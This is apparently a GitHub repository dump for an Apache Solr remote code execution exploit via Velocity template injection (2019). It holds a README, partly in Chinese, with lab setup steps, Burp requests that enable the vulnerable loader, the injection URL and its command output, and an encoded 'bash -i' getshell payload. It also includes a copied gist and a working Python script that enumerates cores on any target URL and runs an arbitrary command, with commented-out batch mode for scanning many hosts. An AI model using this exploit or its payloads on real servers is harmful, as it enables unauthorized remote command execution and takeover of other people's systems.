├── Apache_Solr_RCE_via_Velocity_template.gif
├── README.md
├── atom.jpg
├── core_name.jpg
├── gistfile1.txt
├── rce.jpg
├── solr-8983.jpg
├── solr-rce.jpg
└── solr_rce.py
/Apache_Solr_RCE_via_Velocity_template.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jas502n/solr_rce/08cf415cb9face933a145f4d308000d162f951e7/Apache_Solr_RCE_via_Velocity_template.gif
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Apache Solr RCE via Velocity template
2 |
3 | 
4 |
5 | ## python usage:
6 |
7 | `python solr_rce.py http://x.x.x.x:8983 command`
8 |
9 |
10 | 
11 |
12 |
13 | ## getshell encode payload
14 |
15 | http://www.jackson-t.ca/runtime-exec-payloads.html
16 |
17 | `whoami`
18 |
19 | `>>> bash -c {echo,d2hvYW1p}|{base64,-d}|{bash,-i}`
20 |
21 | ## 0x01 solr简介
22 |
23 | Solr是Apache Lucene项目的开源企业搜索平台。
24 | 其主要功能包括全文检索、命中标示、分面搜索、动态聚类、数据库集成,以及富文本的处理。
25 | 2019年10月30日,国外安全研究人员放出了一个关于solr 模板注入的exp,攻击者通过未授权访问solr服务器,发送特定的数据包开启params.resource.loader.enabled,然后get访问接口导致服务器命令执行,命令回显结果在response,于是本地搭建漏洞环境复现一下。
26 |
27 | ## 0x02 漏洞环境搭建
28 |
29 | `https://www.apache.org/dyn/closer.lua/lucene/solr/7.7.2`
30 |
31 | `https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/7.7.2/solr-7.7.2.zip`
32 |
33 | #### velocity.solr.resource.loader.enabled:true
34 |
35 | `/opt/solr-7.7.2/example/example-DIH/solr/atom/conf/solrconfig.xml`
36 |
37 | ```
38 | root@kali:/opt/solr-7.7.2/example/example-DIH/solr/atom/conf# cat solrconfig.xml | grep enable
39 | true
40 | ${velocity.solr.resource.loader.enabled:false}
41 | ${velocity.params.resource.loader.enabled:false}
42 | root@kali:/opt/solr-7.7.2/example/example-DIH/solr/atom/conf#
43 | ```
44 | #### 开启dih 示例
45 |
46 | `./solr -e dih -force`
47 |
48 | ```
49 | root@kali:/opt/solr-7.7.2/bin# ./solr -e dih -force
50 | *** [WARN] *** Your open file limit is currently 1024.
51 | It should be set to 65000 to avoid operational disruption.
52 | If you no longer wish to see this warning, set SOLR_ULIMIT_CHECKS to false in your profile or solr.in.sh
53 |
54 | Starting up Solr on port 8983 using command:
55 | "/opt/solr-7.7.2/bin/solr" start -p 8983 -s "/opt/solr-7.7.2/example/example-DIH/solr" -force
56 |
57 | Waiting up to 180 seconds to see Solr running on port 8983 [\]
58 | Started Solr server on port 8983 (pid=20222). Happy searching!
59 |
60 |
61 | Solr dih example launched successfully. Direct your Web browser to http://localhost:8983/solr to visit the Solr Admin UI
62 | root@kali:/opt/solr-7.7.2/bin#
63 | ```
64 | #### 浏览器访问
65 |
66 | `http://10.10.20.166:8983/solr/#/`
67 |
68 | 
69 |
70 | 到此,漏洞环境搭建完成。
71 |
72 | 用户在打开网站时候,再burpsuite里面会发现一个接口,可以获取所有core name的名称,方便后续遍历core name,拼接字符串,依次检测漏洞
73 |
74 | 
75 |
76 | `http://10.10.20.166:8983/solr/admin/cores?_=1572594549070&indexInfo=false&wt=json`
77 |
78 | 简写为
79 |
80 | `http://10.10.20.166:8983/solr/admin/cores?indexInfo=false&wt=json`
81 |
82 | ```
83 | {
84 | "responseHeader": {
85 | "status": 0,
86 | "QTime": 3
87 | },
88 | "initFailures": {},
89 | "status": {
90 | "atom": {
91 | "name": "atom",
92 | "instanceDir": "/opt/solr-7.7.2/example/example-DIH/solr/atom",
93 | "dataDir": "/opt/solr-7.7.2/example/example-DIH/solr/atom/data/",
94 | "config": "solrconfig.xml",
95 | "schema": "managed-schema",
96 | "startTime": "2019-11-01T07:47:08.216Z",
97 | "uptime": 107753
98 | },
99 | "db": {
100 | "name": "db",
101 | "instanceDir": "/opt/solr-7.7.2/example/example-DIH/solr/db",
102 | "dataDir": "/opt/solr-7.7.2/example/example-DIH/solr/db/data/",
103 | "config": "solrconfig.xml",
104 | "schema": "managed-schema",
105 | "startTime": "2019-11-01T07:47:09.224Z",
106 | "uptime": 106745
107 | },
108 | "mail": {
109 | "name": "mail",
110 | "instanceDir": "/opt/solr-7.7.2/example/example-DIH/solr/mail",
111 | "dataDir": "/opt/solr-7.7.2/example/example-DIH/solr/mail/data/",
112 | "config": "solrconfig.xml",
113 | "schema": "managed-schema",
114 | "startTime": "2019-11-01T07:47:06.695Z",
115 | "uptime": 109273
116 | },
117 | "solr": {
118 | "name": "solr",
119 | "instanceDir": "/opt/solr-7.7.2/example/example-DIH/solr/solr",
120 | "dataDir": "/opt/solr-7.7.2/example/example-DIH/solr/solr/data/",
121 | "config": "solrconfig.xml",
122 | "schema": "managed-schema",
123 | "startTime": "2019-11-01T07:47:06.702Z",
124 | "uptime": 109267
125 | },
126 | "tika": {
127 | "name": "tika",
128 | "instanceDir": "/opt/solr-7.7.2/example/example-DIH/solr/tika",
129 | "dataDir": "/opt/solr-7.7.2/example/example-DIH/solr/tika/data/",
130 | "config": "solrconfig.xml",
131 | "schema": "managed-schema",
132 | "startTime": "2019-11-01T07:47:03.493Z",
133 | "uptime": 112475
134 | }
135 | }
136 | }
137 |
138 | ```
139 |
140 |
141 | ## 利用Burpsuite 发包 ,开启params.resource.loader.enabled
142 |
143 | Ps: params.resource.loader.enabled 默认是false
144 |
145 | 由于我们修改的atom目录下的配置文件,所以我们只能拿这个存在配置缺陷的接口来攻击
146 |
147 | `http://10.10.20.166:8983/solr/atom/config`
148 |
149 | 
150 |
151 | #### BurpSuite request
152 | ```
153 | POST /solr/atom/config HTTP/1.1
154 | Host: 10.10.20.166:8983
155 | User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:55.0) Gecko/20100101 Firefox/55.0
156 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
157 | Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
158 | Accept-Encoding: gzip, deflate
159 | Content-Type: application/json
160 | Content-Length: 259
161 | Connection: close
162 | Upgrade-Insecure-Requests: 1
163 |
164 | {
165 | "update-queryresponsewriter": {
166 | "startup": "lazy",
167 | "name": "velocity",
168 | "class": "solr.VelocityResponseWriter",
169 | "template.base.dir": "",
170 | "solr.resource.loader.enabled": "true",
171 | "params.resource.loader.enabled": "true"
172 | }
173 | }
174 | ```
175 |
176 | #### BurpSuite response
177 | ```
178 | HTTP/1.1 200 OK
179 | Connection: close
180 | Content-Type: application/json;charset=utf-8
181 | Content-Length: 149
182 |
183 | {
184 | "responseHeader":{
185 | "status":0,
186 | "QTime":554},
187 | "WARNING":"This response format is experimental. It is likely to change in the future."}
188 |
189 | ```
190 | ## 开启后,直接Get 访问(带入表达式)进行 远程代码命令执行
191 |
192 | `http://10.10.20.166:8983/solr/atom/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end`
193 |
194 | #### ssit
195 |
196 | `http://10.10.20.166:8983/solr/atom/select?q=1&&wt=velocity&v.template=custom&v.template.custom=`
197 |
198 | `#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('id')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end`
199 |
200 | 
201 |
202 | 注意到 状态码是`400`,`而不是200`,出现`500`的情况可能是 异常报错。这可以作为后续编写`脚本`判断漏洞存在有辅助帮助。
203 |
204 |
205 | ## gistfile1.txt
206 |
207 |
208 | 1. Set `params.resource.loader.enabled` as true.
209 |
210 | ```
211 | Request:
212 | ========================================================================
213 | POST /solr/test/config HTTP/1.1
214 | Host: solr:8983
215 | Content-Type: application/json
216 | Content-Length: 259
217 |
218 | {
219 | "update-queryresponsewriter": {
220 | "startup": "lazy",
221 | "name": "velocity",
222 | "class": "solr.VelocityResponseWriter",
223 | "template.base.dir": "",
224 | "solr.resource.loader.enabled": "true",
225 | "params.resource.loader.enabled": "true"
226 | }
227 | }
228 | ========================================================================
229 | ```
230 |
231 | 2. RCE via velocity template
232 |
233 | ```
234 | Request:
235 | ========================================================================
236 | GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
237 | Host: localhost:8983
238 | ========================================================================
239 |
240 |
241 | Response:
242 | ========================================================================
243 | HTTP/1.1 200 OK
244 | Content-Type: text/html;charset=utf-8
245 | Content-Length: 56
246 |
247 | 0 uid=8983(solr) gid=8983(solr) groups=8983(solr)
248 | ========================================================================
249 | ```
250 | ## 参考链接:
251 |
252 | https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt
253 |
--------------------------------------------------------------------------------
/atom.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jas502n/solr_rce/08cf415cb9face933a145f4d308000d162f951e7/atom.jpg
--------------------------------------------------------------------------------
/core_name.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jas502n/solr_rce/08cf415cb9face933a145f4d308000d162f951e7/core_name.jpg
--------------------------------------------------------------------------------
/gistfile1.txt:
--------------------------------------------------------------------------------
1 | Apache Solr RCE via Velocity template
2 |
3 | Set "params.resource.loader.enabled" as true.
4 |
5 | Request:
6 | ========================================================================
7 | POST /solr/test/config HTTP/1.1
8 | Host: solr:8983
9 | Content-Type: application/json
10 | Content-Length: 259
11 |
12 | {
13 | "update-queryresponsewriter": {
14 | "startup": "lazy",
15 | "name": "velocity",
16 | "class": "solr.VelocityResponseWriter",
17 | "template.base.dir": "",
18 | "solr.resource.loader.enabled": "true",
19 | "params.resource.loader.enabled": "true"
20 | }
21 | }
22 | ========================================================================
23 |
24 |
25 | RCE via velocity template
26 | Request:
27 | ========================================================================
28 | GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
29 | Host: localhost:8983
30 | ========================================================================
31 |
32 |
33 | Response:
34 | ========================================================================
35 | HTTP/1.1 200 OK
36 | Content-Type: text/html;charset=utf-8
37 | Content-Length: 56
38 |
39 | 0 uid=8983(solr) gid=8983(solr) groups=8983(solr)
40 | ========================================================================
--------------------------------------------------------------------------------
/rce.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jas502n/solr_rce/08cf415cb9face933a145f4d308000d162f951e7/rce.jpg
--------------------------------------------------------------------------------
/solr-8983.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jas502n/solr_rce/08cf415cb9face933a145f4d308000d162f951e7/solr-8983.jpg
--------------------------------------------------------------------------------
/solr-rce.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jas502n/solr_rce/08cf415cb9face933a145f4d308000d162f951e7/solr-rce.jpg
--------------------------------------------------------------------------------
/solr_rce.py:
--------------------------------------------------------------------------------
1 | #coding=utf-8
2 |
3 | import requests
4 | import sys
5 | import json
6 |
7 | banner = '''
8 |
9 |
10 | _ _____ _ _____ _____ ______
11 | /\ | | / ____| | | | __ \ / ____| ____|
12 | / \ _ __ __ _ ___| |__ ___ | (___ ___ | |_ __ | |__) | | | |__
13 | / /\ \ | '_ \ / _` |/ __| '_ \ / _ \ \___ \ / _ \| | '__| | _ /| | | __|
14 | / ____ \| |_) | (_| | (__| | | | __/ ____) | (_) | | | | | \ \| |____| |____
15 | /_/ \_\ .__/ \__,_|\___|_| |_|\___| |_____/ \___/|_|_| |_| \_\\_____|______|
16 | | |
17 | |_|
18 |
19 | Apache Solr Velocity模板远程代码执行
20 |
21 | 2019-10-30 17:30
22 |
23 | python By Jas502n
24 |
25 |
26 |
27 | >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
28 | '''
29 | print banner
30 |
31 | def get_code_name(url):
32 | if url[-1] == '/':
33 | url = url[:-1].split('\n')[0]
34 | else:
35 | url = url.split('\n')[0]
36 |
37 | core_url = url + '/solr/admin/cores?indexInfo=false&wt=json'
38 | print '[+] Querying Core Name: '+core_url,'\n'
39 | proxies = {"http":"http://127.0.0.1:8080"}
40 | try:
41 | # r = requests.get(core_url,proxies=proxies)
42 | r = requests.get(core_url)
43 | if r.status_code == 200 and 'responseHeader' in r.content and 'status' in r.content:
44 | json_str = json.loads(r.content)
45 | for i in json_str['status']:
46 | core_name_url = url + '/solr/' + i + '/config'
47 | print core_name_url
48 | update_queryresponsewriter(core_name_url)
49 | else:
50 | print "No core name exit!"
51 | except:
52 | pass
53 | def update_queryresponsewriter(core_name_url):
54 | headers = {
55 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0',
56 | 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
57 | 'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
58 | 'Accept-Encoding': 'gzip, deflate',
59 | 'Content-Type': 'application/json',
60 | 'Content-Length': '259',
61 | 'Connection': 'close'
62 | }
63 | payload = '''
64 | {
65 | "update-queryresponsewriter": {
66 | "startup": "lazy",
67 | "name": "velocity",
68 | "class": "solr.VelocityResponseWriter",
69 | "template.base.dir": "",
70 | "solr.resource.loader.enabled": "true",
71 | "params.resource.loader.enabled": "true"
72 | }
73 | }'''
74 | proxies = {"http":"http://127.0.0.1:8080"}
75 | r = requests.post(core_name_url,headers=headers,data=payload)
76 | # r = requests.post(core_name_url,headers=headers,data=payload,proxies=proxies)
77 | if r.status_code == 200 and 'responseHeader' in r.content:
78 | print "[+] maybe enable Successful!"
79 | exp_url = core_name_url[:-7]
80 | cmd = 'whoami'
81 | cmd = sys.argv[2]
82 |
83 | send_exp(exp_url,cmd)
84 | else:
85 | print "[+] Enable Fail!\n"
86 | def send_exp(exp_url,cmd):
87 | exp_url = exp_url + r"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27" + cmd + r"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
88 | proxies = {"http":"http://127.0.0.1:8080"}
89 | r = requests.get(exp_url)
90 | # r = requests.get(exp_url,proxies=proxies)
91 | if r.status_code == 400 or r.status_code == 500 or r.status_code ==200 and len(r.content) >0:
92 | print ">>> [+] Exp Send Successful! <<<"
93 | print "____________________________________________________________"
94 | print '\n',exp_url,'\n'
95 | print '>>>>>>>\n',r.content
96 | else:
97 | print "[+] EXP No Send Successful!\n"
98 | if __name__ == '__main__':
99 | if len(sys.argv) != 3:
100 | sys.exit("\n [+] Usage: python %s http://x.x.x.x:8983 command\n" % sys.argv[0])
101 | else:
102 | # url = "http://192.168.5.86:8983"
103 | url = sys.argv[1]
104 | get_code_name(url)
105 |
106 | # 批量
107 | # f = open('url.txt','rb')
108 | # for i in f.readlines():
109 | # url = i.split('\r\n')[0]
110 | # get_code_name(url)
111 |
112 |
113 |
114 |
115 |
116 |
--------------------------------------------------------------------------------